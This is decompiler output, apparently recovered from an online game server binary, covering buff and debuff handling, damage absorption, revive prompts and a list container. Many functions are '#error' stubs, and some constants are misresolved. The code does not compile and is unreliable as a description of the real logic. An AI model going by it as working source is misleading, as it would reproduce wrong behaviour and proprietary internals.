FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aspe_FindSubState"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aspe_FindSubState"); result = 0; } } return result; } //----- (00404BF0) -------------------------------------------------------- AbnormalStateContainer::AbnormalStateElement *__thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetAbstateElement(AbnormalStateContainer::AbstateElementInObject *this) { unsigned __int16 v1; // ax@1 AbnormalStateContainer::AbnormalStateElement **v2; // eax@2 AbnormalStateContainer::AbnormalStateElement *result; // eax@3 v1 = LOWORD(this->aeo_Index); if ( v1 < unk_607E88 && (v2 = *(AbnormalStateContainer::AbnormalStateElement ***)(unk_607E8C + 12 * v1)) != 0 ) result = *v2; else result = 0; return result; } //----- (00404C20) -------------------------------------------------------- #error "404C20: undefined or illegal type '#748' (funcsize=34)" //----- (00404C80) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateListInObject::asl_Routine(void *this, int a2) { void *v2; // esi@1 char v3; // al@1 char v4; // bl@1 int (__stdcall **asr)(int, __int16); // [sp+Ch] [bp-14h]@1 int v7; // [sp+10h] [bp-10h]@1 int v8; // [sp+1Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateListInObject::asl_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = 0; asr = (int (__stdcall **)(int, __int16))&ListIter_ObjectAbStateRoutine::_vftable_; v7 = a2; LOBYTE(v8) = 1; v3 = List::l_4AllInList((List *)v2 + 145, (ListIteratorDefault *)&asr); --funcallanalizer.fca_stackpoint; v4 = v3; asr = &ListIteratorDefault::_vftable_; v8 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateListInObject::asl_Routine"); return v4; } // 59707C: using guessed type int (__stdcall *ListIter_ObjectAbStateRoutine___vftable_)(int ele, char isterminated); // 5D4CA8: using guessed type int (__stdcall *ListIteratorDefault_AbnormalStateContainer__AbstateElementInObject____vftable_)(int ele, __int16 handle); //----- (00404D50) -------------------------------------------------------- #error "404D50: undefined or illegal type '#748' (funcsize=84)" //----- (00404E80) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbnormalStateTickRoutine::ase_Routine(AbnormalStateContainer::AbnormalStateTickRoutine *this, #748 *a2, unsigned __int16 handle, AbnormalStateContainer::AbstateElementInObject *aeo, char *isterminated) { AbnormalStateContainer::AbnormalStateElement *v5; // edi@1 char result; // al@2 unsigned int v7; // eax@3 char v8; // bl@5 v5 = (AbnormalStateContainer::AbnormalStateElement *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateTickRoutine::ase_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStateTickRoutine::ase_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AbnormalStateContainer::AbnormalStateElement::ase_Routine(v5, a2, handle, aeo, isterminated); if ( *isterminated ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateTickRoutine::ase_Routine"); result = 1; } else { v7 = aeo->aeo_Tick.nextaction.m_NextTick; if ( clockwatch.cw_CurrTick > v7 && (aeo->aeo_Tick.nextaction.m_NextTick = v7 + aeo->aeo_Tick.nextaction.m_TickInterval, *((_DWORD *)&abstateidentarray + 3 * aeo->aeo_Index)) ) v8 = (*(int (__stdcall **)(_DWORD, _DWORD, _DWORD))(**((_DWORD **)&abstateidentarray + 3 * aeo->aeo_Index) + 12))( aeo, a2, aeo->aeo_Index); else v8 = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateTickRoutine::ase_Routine"); result = v8; } return result; } //----- (00404FB0) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_Routine(AbnormalStateContainer::AbnormalStateEachTickRoutine *this, #748 *a2, unsigned __int16 handle, AbnormalStateContainer::AbstateElementInObject *aeo, char *isterminated) { AbnormalStateContainer::AbnormalStateElement *v5; // edi@1 char result; // al@2 char v7; // al@3 char v8; // bl@3 v5 = (AbnormalStateContainer::AbnormalStateElement *)this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_Routine"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_Routine"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; AbnormalStateContainer::AbnormalStateElement::ase_Routine(v5, a2, handle, aeo, isterminated); if ( *isterminated ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_Routine"); result = 1; } else { v7 = (*(int (__stdcall **)(_DWORD, _DWORD, _DWORD))(**((_DWORD **)&abstateidentarray + 3 * aeo->aeo_Index) + 12))( aeo, a2, handle); --funcallanalizer.fca_stackpoint; v8 = v7; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateEachTickRoutine::ase_Routine"); result = v8; } return result; } //----- (004050C0) -------------------------------------------------------- #error "4050C0: undefined or illegal type '#748' (funcsize=49)" //----- (00405180) -------------------------------------------------------- #error "405180: undefined or illegal type '#748' (funcsize=49)" //----- (00405260) -------------------------------------------------------- #error "405260: undefined or illegal type '#748' (funcsize=16)" //----- (004052C0) -------------------------------------------------------- #error "4052C0: undefined or illegal type '#748' (funcsize=101)" //----- (00405400) -------------------------------------------------------- #error "405400: undefined or illegal type '#748' (funcsize=81)" //----- (00405510) -------------------------------------------------------- #error "405510: undefined or illegal type '#748' (funcsize=97)" //----- (00405660) -------------------------------------------------------- #error "405660: undefined or illegal type '#748' (funcsize=64)" //----- (00405750) -------------------------------------------------------- #error "405750: undefined or illegal type '#748' (funcsize=90)" //----- (00405890) -------------------------------------------------------- int __thiscall AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_Act_CastDelay(AbnormalStateContainer::SubAbnormalStateActorCastDelay *this, AbnormalStateContainer::AbstateElementInObject *aso) { int v2; // eax@1 int v3; // esi@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_Act_CastDelay"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_Act_CastDelay"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_604F0C + 3 * aso->aeo_Index) + 36 * aso->aeo_Strength + 8), SAA_CASTINGTIMEPLUS); --funcallanalizer.fca_stackpoint; v3 = v2; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorCastDelay::sasa_Act_CastDelay"); return v3; } //----- (00405950) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActorShield::sasa_Act_DamegeAbsorpt(AbnormalStateContainer::SubAbnormalStateActorShield *this, #331 *a2, AbnormalStateContainer::AbstateElementInObject *aso, int *damage) { int v4; // eax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorShield::sasa_Act_DamegeAbsorpt"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::SubAbnormalStateActorShield::sasa_Act_DamegeAbsorpt"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = aso->aeo_RestCount; if ( v4 > *damage ) { aso->aeo_RestCount = v4 - *damage; *damage = 0; } else { aso->aeo_RestCount = 0; *damage -= v4; aso->aeo_Tick.terminate = clockwatch.cw_CurrTick; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorShield::sasa_Act_DamegeAbsorpt"); } //----- (004059D0) -------------------------------------------------------- #error "4059D0: undefined or illegal type '#331' (funcsize=52)" //----- (00405AB0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_Act_DamegeIntercept(AbnormalStateContainer::SubAbnormalStateActorRangeIntercept *this, AbnormalStateContainer::AbstateElementInObject *aso, int *damage) { int v3; // eax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_Act_DamegeIntercept"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_Act_DamegeIntercept"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = aso->aeo_RestCount; if ( v3 <= 0 ) { aso->aeo_Tick.terminate = clockwatch.cw_CurrTick; } else { aso->aeo_RestCount = v3 - 1; *damage = 0; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorRangeIntercept::sasa_Act_DamegeIntercept"); } //----- (00405B30) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_Act_LastDamegeInterceptByAtk(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio *this, AbnormalStateContainer::AbstateElementInObject *aso, int *damage) { int v3; // eax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_Act_LastDamegeInterceptByAtk"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_Act_LastDamegeInterceptByAtk"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_604F0C + 3 * aso->aeo_Index) + 36 * aso->aeo_Strength + 8), SAA_TOTALDAMAGERATE); *damage = ((signed int)((unsigned __int64)(v3 * *damage * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v3 * *damage * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio::sasa_Act_LastDamegeInterceptByAtk"); } //----- (00405C00) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_Act_LastDamegeInterceptByDef(AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide *this, #331 *a2, AbnormalStateContainer::AbstateElementInObject *aso, int *damage) { int v4; // eax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_Act_LastDamegeInterceptByDef"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_Act_LastDamegeInterceptByDef"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect( (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_604F0C + 3 * aso->aeo_Index) + 36 * aso->aeo_Strength + 8), SAA_TOTALDAMAGERATE); *damage = ((signed int)((unsigned __int64)(v4 * *damage * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 6) + ((unsigned int)((unsigned __int64)(v4 * *damage * (signed __int64)(signed int)((char *)&pathfindtable.pft_table[1579][488].pfc_from.x + 3)) >> 32) >> 31); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorLastDmgRatio_DefSide::sasa_Act_LastDamegeInterceptByDef"); } //----- (00405CD0) -------------------------------------------------------- #error "405CD0: undefined or illegal type '#440' (funcsize=101)" //----- (00405E30) -------------------------------------------------------- void __thiscall AbnormalStateContainer::SubAbnormalStateActorSelfRevive::sasa_Act_Killed(AbnormalStateContainer::SubAbnormalStateActorSelfRevive *this, #440 *a2, AbnormalStateContainer::AbstateElementInObject *aso) { AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *v3; // ecx@1 const char *v4; // ST14_4@1 const char *v5; // ST08_4@1 const char *v6; // eax@1 void *v7; // eax@1 void *v8; // eax@1 void *v9; // eax@1 ServerMenuArgument arg; // [sp+4h] [bp-78h]@1 unsigned int cookie; // [sp+6Ch] [bp-10h]@1 int v12; // [sp+78h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorSelfRevive::sasa_Act_Killed"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::SubAbnormalStateActorSelfRevive::sasa_Act_Killed"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = (AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument *)(*((_DWORD *)&unk_604F0C + 3 * aso->aeo_Index) + 36 * aso->aeo_Strength + 8); v12 = 0; *(_WORD *)&arg.sma_link.sml_lnkinf.index[0] = AbnormalStateDictionary::AbState::AbStateStr::AbStateStrArgument::assa_FindEffect( v3, SAA_REVIVEHEALRATE); v4 = ShineScript::ss_String(&shinescriptetc, "No"); v5 = ShineScript::ss_String(&shinescriptetc, "Yes"); v6 = ShineScript::ss_String(&shinescriptmenusting, "Revive"); v7 = ShineObjectClass::ShinePlayer::sp_ServerMenuTitle((void *)a2, v6); v8 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem(v7, ServerMenuFuncter::smfm_Revive, v5, &arg); v9 = ShineObjectClass::ShinePlayer::sp_ServerMenuItem(v8, ServerMenuFuncter::smfm_Cancel, v4, &arg); ShineObjectClass::ShinePlayer::sp_ServerMenuOpen(v9, 100, -1, 0, 1000); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::SubAbnormalStateActorSelfRevive::sasa_Act_Killed"); __security_check_cookie(cookie); } //----- (00405F70) -------------------------------------------------------- #error "406012: switch analysis failed (funcsize=309)" //----- (004066A0) -------------------------------------------------------- #error "4066A0: undefined or illegal type '#331' (funcsize=208)" //----- (00406940) -------------------------------------------------------- #error "406940: undefined or illegal type '#331' (funcsize=70)" //----- (00406A60) -------------------------------------------------------- #error "406A60: undefined or illegal type '#331' (funcsize=70)" //----- (00406B80) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStatePartyEnchant::ase_SetMain(AbnormalStateContainer::AbnormalStatePartyEnchant *this, AbnormalStateDictionary::AbState::AbStateStr *sklidx) { AbnormalStateContainer::AbnormalStatePartyEnchant *v2; // esi@1 AbnormalStateDictionary::AbState::AbStateStr *v3; // eax@1 int v4; // eax@7 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStatePartyEnchant::ase_SetMain"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStatePartyEnchant::ase_SetMain"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->aspe_SkillIndex[0]; v2->aspe_SklIdxMain = sklidx; if ( !v3 ) { LOBYTE(v4) = AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(v2, 0, sklidx->index->PartyState1) && AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(v2, 1, sklidx->index->PartyState2) && AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(v2, 2, sklidx->index->PartyState3) && AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(v2, 3, sklidx->index->PartyState4) && AbnormalStateContainer::AbnormalStatePartyEnchant::aspe_FindSubState(v2, 4, sklidx->index->PartyState5); v4 = (unsigned __int8)v4; if ( !(_BYTE)v4 ) { AssertClass::ac_AssertFail(&shineassert, "AbnormalStateContainer::AbnormalStatePartyEnchant::ase_SetMain", v4); v2->aspe_SkillIndex[0] = 0; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStatePartyEnchant::ase_SetMain"); } //----- (00406CB0) -------------------------------------------------------- void __thiscall AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_SetMain(AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *this, AbnormalStateDictionary::AbState::AbStateStr *sklidx) { AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant *v2; // esi@1 AbnormalStateDictionary::AbState::AbStateStr *v3; // ecx@1 int v4; // eax@2 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_SetMain"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_SetMain"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->asgame_SkillIndex; v2->asgame_SklIdxMain = sklidx; if ( !v3 ) { v4 = (unsigned __int8)AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::asgame_FindSubState( v2, sklidx->index->PartyState1); if ( !(_BYTE)v4 ) { AssertClass::ac_AssertFail( &shineassert, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_SetMain", v4); v2->asgame_SkillIndex = 0; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbnormalStateGuildAcademyMasterEnchant::ase_SetMain"); } //----- (00406D80) -------------------------------------------------------- #error "406D80: undefined or illegal type '#748' (funcsize=66)" //----- (00406E80) -------------------------------------------------------- unsigned int __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime(AbnormalStateContainer::AbstateElementInObject *this) { AbnormalStateContainer::AbstateElementInObject *v1; // esi@1 unsigned int v2; // ecx@1 unsigned int v3; // esi@2 unsigned int result; // eax@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = v1->aeo_Tick.terminate; if ( clockwatch.cw_CurrTick >= v2 ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime"); result = 0; } else { --funcallanalizer.fca_stackpoint; v3 = 1000 * (v2 - clockwatch.cw_CurrTick + 9) / 0xA; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "AbnormalStateContainer::AbstateElementInObject::aeo_GetRestTime"); result = v3; } return result; } //----- (00406F50) -------------------------------------------------------- char __stdcall ShineObjectClass::ShinePlayer::sp_AbstateCheck(int sklidx, int a2) { signed int v2; // edi@1 char result; // al@3 int v4; // ebp@4 int v5; // esi@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AbstateCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::sp_AbstateCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = 0; if ( *(_DWORD *)(*(_DWORD *)(sklidx + 4) + 235) <= 1u && *(_DWORD *)(*(_DWORD *)sklidx + 58) == 2 ) { v4 = 0; v5 = sklidx + 16; do { if ( *(_DWORD *)v5 != 391 ) { ++v4; if ( (unsigned __int8)(*(int (__thiscall **)(int, _DWORD, _DWORD))(*(_DWORD *)a2 + 2548))( a2, *(_DWORD *)v5, *(_DWORD *)(v5 + 4)) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AbstateCheck"); goto LABEL_11; } } ++v2; v5 += 12; } while ( v2 < 4 ); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AbstateCheck"); if ( v4 ) return 0; LABEL_11: result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::sp_AbstateCheck"); result = 1; } return result; } //----- (00407090) -------------------------------------------------------- char __stdcall ShineObjectClass::ShineObject::so_smo_CanEnchant(int abstateidx, int strength) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_smo_CanEnchant"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShineObject::so_smo_CanEnchant"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint] = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShineObject::so_smo_CanEnchant"); return 0; } //----- (004070E0) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, CardDeck::Card *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); *(_DWORD *)v3 = ele->c_card; return 1; } // 4070F5: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00407110) -------------------------------------------------------- void __thiscall List::l_Clear(List *this) { int (__stdcall **eraser)(int, __int16); // [sp+0h] [bp-14h]@1 List *v2; // [sp+4h] [bp-10h]@1 int v3; // [sp+10h] [bp-4h]@1 eraser = &ListEraser::_vftable_; v2 = this; v3 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&eraser); } // 59F228: using guessed type int (__stdcall *ListEraser_ItemLotAnalyser__LotChanger____vftable_)(int ele, __int16 handle); //----- (00407160) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, AbnormalStateContainer::AbstateElementInObject *ele) { int v2; // eax@1 void *v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = (void *)((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); memcpy(v3, ele, 0x74u); return 1; } // 407175: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (00407190) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall List::l_Search(List *this, int (__thiscall *compfunc)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *), unsigned __int16 *hnd, AbnormalStateContainer::AbstateElementInObject *key) { AbnormalStateContainer::AbstateElementInObject *result; // eax@1 int (__stdcall **searcher)(int, __int16); // [sp+0h] [bp-24h]@1 List *v6; // [sp+4h] [bp-20h]@1 int (__thiscall *v7)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16, AbnormalStateContainer::AbstateElementInObject *); // [sp+8h] [bp-1Ch]@1 AbnormalStateContainer::AbstateElementInObject *v8; // [sp+Ch] [bp-18h]@1 AbnormalStateContainer::AbstateElementInObject *v9; // [sp+10h] [bp-14h]@1 unsigned __int16 v10; // [sp+14h] [bp-10h]@1 int v11; // [sp+20h] [bp-4h]@1 v7 = compfunc; searcher = &ListSearchSame::_vftable_; v6 = this; v8 = key; v9 = 0; v10 = -1; v11 = 0; List::l_4AllInList((List *)this, (ListIteratorDefault *)&searcher); result = v9; *hnd = v10; return result; } // 5A6570: using guessed type int (__stdcall *ListSearchSame_KingdomQuest__KQPlayerInform____vftable_)(int ele, __int16 handle); //----- (00407200) -------------------------------------------------------- void __thiscall ListTraveler::ListTraveler(ListTraveler *this, List *lst, AbnormalStateContainer::AbstateElementInObject *def) { this->lt_Default = def; this->lt_List = lst; this->lt_CurrElement = lst->l_MaxSize; this->lt_NextElement = lst->l_Array[lst->l_Finger.store].ls_Next; } //----- (00407230) -------------------------------------------------------- #error "407230: undefined or illegal type '#331' (funcsize=29)" //----- (00407270) -------------------------------------------------------- #error "407270: undefined or illegal type '#331' (funcsize=29)" //----- (004072B0) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (004073D0) -------------------------------------------------------- #error "4073D0: undefined or illegal type '#440' (funcsize=53)" //----- (00407460) -------------------------------------------------------- char __thiscall AbnormalStateContainer::AbstateElementInObject::aeo_IsPartyChant(AbnormalStateContainer::AbstateElementInObject *this) { unsigned __int16 v1; // ax@1 int v2; // ecx@2 int v3; // eax@5 char result; // al@6 v1 = LOWORD(this->aeo_Index); if ( v1 < unk_607E88 && (v2 = *(_DWORD *)(unk_607E8C + 12 * v1)) != 0 && *(_DWORD *)v2 ) { if ( v1 < unk_607E88 && (v3 = *(_DWORD *)(unk_607E8C + 12 * v1)) != 0 ) result = (*(int (__thiscall **)(_DWORD))(**(_DWORD **)v3 + 12))(*(_DWORD *)v3); else result = (*(int (__thiscall **)(_DWORD))(v0 + 12))(0); } else { result = 0; } return result; } //----- (004074C0) -------------------------------------------------------- AbnormalStateContainer::AbstateElementInObject *__thiscall AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet(void *ecx0, AbnormalStateInfo::ABSTATEINDEX stateindex) { void *v2; // esi@1 AbnormalStateContainer::AbstateElementInObject *v3; // esi@1 __int16 hnd; // [sp+4h] [bp-84h]@1 char key; // [sp+8h] [bp-80h]@1 char v7; // [sp+24h] [bp-64h]@1 char this; // [sp+58h] [bp-30h]@1 int v9; // [sp+84h] [bp-4h]@1 v2 = ecx0; AbnormalStateContainer::AbstateElementInObject::AbstateElementInObject( (AbnormalStateContainer::AbstateElementInObject *)&key, stateindex); v9 = 0; v3 = List::l_Search( (List *)v2 + 145, AbnormalStateContainer::AbstateElementInObject::aeo_CompName, (unsigned __int16 *)&hnd, (AbnormalStateContainer::AbstateElementInObject *)&key); v9 = 1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&this); v9 = -1; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&v7); return v3; } //----- (00407560) -------------------------------------------------------- #error "407560: undefined or illegal type '#748' (funcsize=48)" //----- (00407620) -------------------------------------------------------- #error "407620: undefined or illegal type '#331' (funcsize=254)" //----- (004079A0) 